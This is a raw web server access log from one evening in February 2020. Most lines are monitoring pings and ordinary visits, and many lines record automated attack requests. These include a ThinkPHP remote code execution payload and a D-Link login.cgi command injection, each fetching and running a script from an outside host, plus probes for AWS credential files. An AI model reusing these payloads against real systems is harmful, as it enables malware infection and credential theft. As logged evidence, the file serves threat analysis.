212.91.246.72 - - [01/Feb/2020:21:50:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.52.179.162 - - [01/Feb/2020:21:50:46 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
42.117.155.205 - - [01/Feb/2020:21:51:36 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [01/Feb/2020:21:51:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
210.195.24.226 - - [01/Feb/2020:21:52:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
192.162.239.46 - - [01/Feb/2020:21:52:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [01/Feb/2020:21:52:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:21:53:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:21:54:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
113.22.43.194 - - [01/Feb/2020:21:54:52 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
191.100.10.195 - - [01/Feb/2020:21:55:16 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [01/Feb/2020:21:55:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:21:56:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
73.32.140.239 - - [01/Feb/2020:21:57:13 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
212.91.246.72 - - [01/Feb/2020:21:57:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
113.22.170.10 - - [01/Feb/2020:21:58:01 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [01/Feb/2020:21:58:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:21:59:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
178.88.83.87 - - [01/Feb/2020:22:00:40 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [01/Feb/2020:22:00:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:22:01:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
222.136.192.151 - - [01/Feb/2020:22:02:10 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [01/Feb/2020:22:02:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:22:03:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.117.137.132 - - [01/Feb/2020:22:04:13 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [01/Feb/2020:22:04:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:22:05:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:22:06:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
188.17.253.196 - - [01/Feb/2020:22:06:53 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
89.28.58.131 - - [01/Feb/2020:22:07:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [01/Feb/2020:22:07:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:22:08:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:22:09:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
13.53.140.114 - - [01/Feb/2020:22:10:20 +0100] "GET /.aws/credentials HTTP/1.1" 404 321 "-" "curl/7.47.0"
212.91.246.72 - - [01/Feb/2020:22:10:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:22:11:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:22:12:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
180.93.28.59 - - [01/Feb/2020:22:12:46 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
41.102.62.126 - - [01/Feb/2020:22:13:18 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [01/Feb/2020:22:13:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
62.122.102.236 - - [01/Feb/2020:22:14:01 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [01/Feb/2020:22:14:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.119.181.41 - - [01/Feb/2020:22:14:52 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
54.206.7.20 - - [01/Feb/2020:22:14:55 +0100] "GET /.aws/credentials HTTP/1.1" 404 321 "-" "curl/7.47.0"
198.143.155.138 - - [01/Feb/2020:22:15:19 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.117 Safari/537.36"
212.91.246.72 - - [01/Feb/2020:22:15:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:22:16:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.117.137.78 - - [01/Feb/2020:22:16:56 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [01/Feb/2020:22:17:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:22:18:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:22:19:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:22:20:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
94.51.31.109 - - [01/Feb/2020:22:20:48 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [01/Feb/2020:22:21:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:22:22:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:22:23:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
139.227.188.236 - - [01/Feb/2020:22:23:57 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
197.2.2.188 - - [01/Feb/2020:22:24:18 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
34.220.143.114 - - [01/Feb/2020:22:24:35 +0100] "GET /.aws/credentials HTTP/1.1" 404 321 "-" "curl/7.47.0"
212.91.246.72 - - [01/Feb/2020:22:24:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:22:25:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.54.189.122 - - [01/Feb/2020:22:25:47 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [01/Feb/2020:22:26:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
188.130.149.61 - - [01/Feb/2020:22:27:30 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [01/Feb/2020:22:27:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
95.46.34.189 - - [01/Feb/2020:22:27:48 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [01/Feb/2020:22:28:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
95.237.80.112 - - [01/Feb/2020:22:28:49 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
42.113.57.26 - - [01/Feb/2020:22:29:00 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
31.162.221.235 - - [01/Feb/2020:22:29:36 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [01/Feb/2020:22:29:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:22:30:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:22:31:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:22:32:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:22:33:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
13.48.129.242 - - [01/Feb/2020:22:34:33 +0100] "GET /.aws/credentials HTTP/1.1" 404 321 "-" "curl/7.47.0"
212.91.246.72 - - [01/Feb/2020:22:34:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:22:35:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
190.83.139.21 - - [01/Feb/2020:22:36:43 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [01/Feb/2020:22:36:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:22:37:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:22:38:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
159.192.214.184 - - [01/Feb/2020:22:38:46 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
212.91.246.72 - - [01/Feb/2020:22:39:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:22:40:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
118.68.185.14 - - [01/Feb/2020:22:40:56 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
180.118.139.239 - - [01/Feb/2020:22:41:24 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [01/Feb/2020:22:41:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
167.99.184.149 - - [01/Feb/2020:22:41:49 +0100] "GET /index.php HTTP/1.1" 404 314 "-" "-"
212.91.246.72 - - [01/Feb/2020:22:42:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
18.231.144.38 - - [01/Feb/2020:22:42:50 +0100] "GET /.aws/credentials HTTP/1.1" 404 321 "-" "curl/7.47.0"
212.91.246.72 - - [01/Feb/2020:22:43:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:22:44:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:22:45:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:22:46:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:22:47:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:22:48:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:22:49:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:22:50:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.117.20.72 - - [01/Feb/2020:22:51:35 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [01/Feb/2020:22:51:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
94.225.213.54 - - [01/Feb/2020:22:52:45 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [01/Feb/2020:22:52:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.141.145.58 - - [01/Feb/2020:22:53:33 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [01/Feb/2020:22:53:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
122.228.19.79 - - [01/Feb/2020:22:53:54 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:47.0) Gecko/20100101 Firefox/47.0"
139.162.119.197 - - [01/Feb/2020:22:54:00 +0100] "GET / HTTP/1.1" 200 1229 "-" "HTTP Banner Detection (https://security.ipip.net)"
212.91.246.72 - - [01/Feb/2020:22:54:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
122.228.19.79 - - [01/Feb/2020:22:55:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:47.0) Gecko/20100101 Firefox/47.0"
212.91.246.72 - - [01/Feb/2020:22:55:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:22:56:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
122.228.19.79 - - [01/Feb/2020:22:57:09 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:47.0) Gecko/20100101 Firefox/47.0"
94.51.36.133 - - [01/Feb/2020:22:57:30 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [01/Feb/2020:22:57:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:22:58:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
122.228.19.79 - - [01/Feb/2020:22:58:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:47.0) Gecko/20100101 Firefox/47.0"
212.91.246.72 - - [01/Feb/2020:22:59:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:23:00:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:23:01:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
94.50.31.77 - - [01/Feb/2020:23:02:22 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [01/Feb/2020:23:02:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:23:03:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
168.197.157.60 - - [01/Feb/2020:23:04:01 +0100] "GET / HTTP/1.0" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [01/Feb/2020:23:04:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
151.72.141.119 - - [01/Feb/2020:23:05:27 +0100] "POST /HNAP1/ HTTP/1.0" 404 311 "-" "-"
31.215.12.47 - - [01/Feb/2020:23:05:44 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
212.91.246.72 - - [01/Feb/2020:23:05:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:23:06:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:23:07:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:23:08:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
35.180.209.164 - - [01/Feb/2020:23:09:25 +0100] "GET /.aws/credentials HTTP/1.1" 404 321 "-" "curl/7.47.0"
212.91.246.72 - - [01/Feb/2020:23:09:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
59.21.46.176 - - [01/Feb/2020:23:10:24 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://packetsbins.000webhostapp.com/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
